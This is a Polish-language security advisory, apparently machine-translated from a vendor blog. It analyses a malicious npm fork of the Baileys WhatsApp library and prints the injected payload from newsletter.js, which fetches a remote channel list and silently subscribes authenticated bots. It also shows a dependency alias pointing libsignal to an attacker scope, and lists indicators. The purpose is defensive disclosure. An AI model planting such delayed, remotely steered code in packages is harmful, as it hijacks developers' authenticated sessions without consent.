Złośliwy pakiet npm

Złośliwy pakiet npm w Baileys Fork (przypadek Skyzopedii)

TL; DR

Zespół badawczy ds. bezpieczeństwa Xygeni zidentyfikowano złośliwy pakiet npm, @dappaoffc/baileys-mod, opublikowano jako rozwidlenie powszechnie używanej biblioteki WhatsApp Web API @whiskeysockets/baileys.

Począwszy od wersji 8.0.1 ten złośliwy pakiet npm zawiera w sobie kod wstrzykiwany w czasie wykonywania lib/Socket/newsletter.jsWprowadzona logika po cichu subskrybuje uwierzytelnioną sesję bota WhatsApp programisty do kanałów newsletterów kontrolowanych przez atakującego.

Ładunek aktywuje się 80 sekund po załadowaniu modułu i dynamicznie pobiera listę celów z serwisu GitHub, przez co zachowanie aktualizuje się automatycznie i jest trudne do wykrycia za pomocą analizy w czasie instalacji.

Przegląd techniczny

Podczas rutynowego monitorowania nowo opublikowanych zależności zespół badawczy ds. bezpieczeństwa Xygeni wykrył nietypowe zachowanie w @dappaoffc/baileys-mod, później potwierdzono jako złośliwy pakiet npm ukierunkowane na ekosystem botów WhatsApp.

W przeciwieństwie do robaków kradnących dane uwierzytelniające i programów typu ransomware, ten złośliwy pakiet npm nadużywa relacji zaufania między programistą a często rozwijaną biblioteką typu open source.

Pakiet prezentuje się jako zmodyfikowana wersja Baileysa, popularna implementacja WhatsApp Web API, szeroko wykorzystywana do tworzenia botów automatyzujących. W tym ekosystemie instalowanie forków jest powszechną praktyką. W rezultacie atakujący wykorzystał realistyczny model dystrybucji, zamiast wykorzystać lukę w zabezpieczeniach.

Co ważne:

  • skrypt preinstall weryfikuje tylko wersję Node.js
  • Podczas instalacji nie dochodzi do wycieku danych uwierzytelniających
  • Nie zaobserwowano żadnej podejrzanej aktywności po instalacji
  • Wstrzyknięcie jest wykonywane ściśle w czasie wykonywania

Dzięki takiemu rozwiązaniu skanery działające w czasie instalacji nie wykryją złośliwego zachowania.

Mechanizm wstrzykiwania w czasie wykonywania w złośliwym pakiecie npm

Złośliwa logika w tym złośliwym pakiecie npm znajduje się w lib/Socket/newsletter.js, osadzone bezpośrednio w kontekście wykonania modułu.

Atakujący umieścił wstrzyknięty blok w natychmiastowo wywoływanym wyrażeniu funkcji (IIFE), co gwarantuje wykonanie natychmiast po załadowaniu modułu.

Jednak zamiast wyzwolić się natychmiast, ładunek wprowadza mechanizm opóźnionego wykonania:

				
					(async () => {
  try {
    setTimeout(async() => {
      const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
      const newsletterIds = await res.json();
      newsletterIds.forEach(async(i) => {
        await delay(5000)
        try {
          await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
        } catch (e) {}
      });
    }, 80000)
  } catch (err) {}
})()
				
			

Po upływie opóźnienia ładunek wykonuje kontrolowaną sekwencję:

  • Pobiera JSON plik z adresu URL surowej treści GitHub.
  • Analizuje listę identyfikatorów biuletynów WhatsApp.
  • Iteruje listę.
  • Połączenia newsletterWMexQuery(id, QueryIds.FOLLOW) dla każdego wpisu.
  • Żądania spacji są wysyłane w odstępach pięciosekundowych w celu zmniejszenia limitu wykrywania.
  • Cicho wyłącza wszystkie błędy czasu wykonania.

Ponieważ kod wywołuje wewnętrzne funkcje biblioteczne, a nie zewnętrzne skrypty, generowany ruch wydaje się nieodróżnialny od legalnych działań inicjowanych przez użytkownika. WhatsAppy z perspektywy protokołu bot dobrowolnie zapisał się do tych kanałów.

Porównanie techniczne: zachowanie uzasadnione a zachowanie wstrzyknięte

SkładnikUzasadnione zachowanieZłośliwe wstrzyknięcie
Faza instalacjiSprawdza tylko wersję Node.jsBrak widocznych złośliwych zachowań podczas instalacji
Inicjalizacja modułuEksportuje fabrykę gniazd WhatsAppIIFE wykonuje się automatycznie po załadowaniu modułu
Czas wykonaniaBrak opóźnionego zachowania80-sekundowe opóźnienie aktywacji
Komunikacja sieciowaKomunikuje się wyłącznie za pomocą protokołu WhatsApp WebSocketPobieranie wychodzące do surowej zawartości GitHub (kanał sterowania dynamicznego)
Akcje newsletteraŻądania subskrypcji inicjowane przez użytkownikaZautomatyzowane żądania FOLLOW za pośrednictwem wewnętrznego interfejsu API biblioteki
Obsługa błędów Propaguje błędy operacyjneCicho tłumi wszystkie wyjątki

Kanał sterowania dynamicznego przez GitHub

Lista identyfikatorów newslettera jest hostowana pod adresem:

				
					https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
				
			

Taka konstrukcja zapewnia szereg korzyści operacyjnych:

  • Dynamiczne aktualizacje ładunku bez publikowania nowej wersji npm
  • Zaufany punkt końcowy TLS, który łączy się ze zwykłym ruchem programistów
  • Nie jest wymagana żadna infrastruktura zarządzana przez atakującego
  • Wytrwałość w już wdrożonych botach

Ponieważ wstrzyknięcie jest wykonywane w zakresie fabrycznym, ponownie wykorzystuje wewnętrzne zamknięcia, takie jak newsletterWMexQuery oraz delay bez importowania zewnętrznych modułów. Minimalizuje to rozmiar i zwiększa ukrycie.

W praktyce GitHub działa jako lekki kanał dystrybucji poleceń.

Alias ​​zależności i sygnały atrybucji

Metadane pakietu obejmują następujący alias zależności:

				
					"libsignal": "npm:@skyzopedia/libsignal-node"
				
			

Przekierowuje krytyczną zależność kryptograficzną do zakresu npm kontrolowanego przez atakującego.

Ponadto metadane imituje projekt źródłowy, odwołując się do oryginalnego autora i repozytorium. Zwiększa to postrzeganą wiarygodność i zmniejsza ryzyko kontroli podczas pobieżnej recenzji.

Sygnały te wskazują raczej na celowe mieszanie się ekosystemów, a nie oportunistyczna manipulacja.

Wskaźniki zagrożenia dla tego złośliwego pakietu npm

Zespoły ds. bezpieczeństwa badające ten złośliwy pakiet npm powinny ocenić następujące sygnały:

Sygnały sieciowe

  • Żądania GET wychodzące do raw.githubusercontent.com z procesów bota WhatsApp
  • Biuletyn ŚLEDŹ działania wykonywane bez wyzwalania ich przez logikę aplikacji

Sygnały pakietowe

  • @dappaoffc/baileys-mod wersja 8.0.1 (i potencjalnie 8.0.0)
  • Przekierowywanie aliasów zależności libsignal
  • Wstrzyknięcie IIFE w czasie wykonywania newsletter.js

Sygnały behawioralne

  • Żądania FOLLOW wysyłane w odstępach pięciosekundowych
  • Brak interakcji użytkownika poprzedzającej subskrypcję newslettera
  • Ciche tłumienie błędów w kodzie biblioteki głównej

W przeciwieństwie do tradycyjnego złośliwego oprogramowania, ten atak nie wymaga wykradania danych uwierzytelniających. Nadużycie ma miejsce wyłącznie w kontekście sesji, która została już uwierzytelniona.

Wykrywanie i łagodzenie zagrożeń za pomocą Xygeni

Ten przypadek ilustruje, dlaczego samo skanowanie w trakcie instalacji jest niewystarczające. Złośliwe zachowanie jest wykonywane po załadowaniu modułu i ukrywa się w legalnej logice biznesowej.

Wczesne ostrzeganie przed złośliwym oprogramowaniem (MEW) firmy Xygeni wykryto ten pakiet poprzez korelację wielu sygnałów, zamiast opierać się na pojedynczym podpisie.

Analiza statyczna pełnego źródła

MEW sprawdza całe drzewa źródłowe pakietów, nie tylko skrypty cyklu życia.

W tym przypadku sygnały detekcji obejmowały:

  • Niespodziewanie fetch() połączenie wewnątrz modułu głównego WhatsApp
  • Komunikacja wychodząca do surowej zawartości GitHub
  • Opóźnione wzorce wykonywania osadzone w logice czasu wykonania
  • Zagnieżdżone, ciche przetwarzanie błędów

Pojedynczo te wzorce mogą wydawać się łagodne. Jednak analiza łączona ujawnia anomalie, niezgodne z prawidłowym widelcem Baileysa.

Korelacja ryzyka zależności

libsignal alias wywołał dodatkową kontrolę, ponieważ przekierowuje poufną zależność do niezweryfikowanego zakresu.

Xygeni koreluje:

  • Sygnały reputacji wydawcy
  • Niespójności w zakresie własności
  • Przekierowanie zależności w bibliotekach kryptograficznych
  • Wskaźniki podszywania się pod metadane

Ta wielowarstwowa analiza pozwala ograniczyć liczbę fałszywych alarmów i identyfikować przypadki nadużyć zaufania.

Kontrola łańcucha dostaw uwzględniająca czas wykonania

Ponieważ ten złośliwy pakiet npm jest wykonywany w czasie rzeczywistym, skuteczna obrona wymaga analizy uwzględniającej zachowanie.

Xygeni ocenia:

  • Mechanizmy opóźnionego wykonania
  • Nadużycia wewnętrznego interfejsu API
  • Wychodzące połączenia sieciowe w kodzie zależności
  • Nietypowy przepływ sterowania w bibliotekach innych firm

Dodatkowo, Guardrails polityki w CI/CD może:

  • Blokuj nieoczekiwane połączenia wychodzące podczas kompilacji
  • Wykrywaj podejrzane zmiany w grafie zależności
  • Wymuś ograniczenia dotyczące przekierowania zakresu
  • Wzorce dynamicznego pobierania danych flagowych

Dlatego też powstrzymanie rozprzestrzeniania się wirusa nie polega wyłącznie na usunięciu rejestru.

Dlaczego ten złośliwy pakiet npm ma znaczenie dla bezpieczeństwa łańcucha dostaw

Ten złośliwy pakiet npm odzwierciedla strukturalną zmianę w nadużyciach łańcucha dostaw:

  • Wykonywanie w czasie wykonywania zamiast ładunków w czasie instalacji
  • Dynamiczne kanały sterowania hostowane na zaufanych platformach
  • Nadużywanie legalnych wewnętrznych interfejsów API
  • Podszywanie się pod metadane w celu naśladowania administratorów nadrzędnych

Atakujący nie wykorzystał luki w zabezpieczeniach oprogramowania. Zamiast tego, wykorzystał zaufanie do forków i aktualizacji zależności.

W związku z tym wykrywanie wymaga pełnej inspekcji kodu źródłowego, korelacji ryzyka zależności i analizy uwzględniającej czas wykonania, a nie tylko skanowania skryptów.

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz rozwój i dostarczanie oprogramowania

z pakietem produktów Xygeni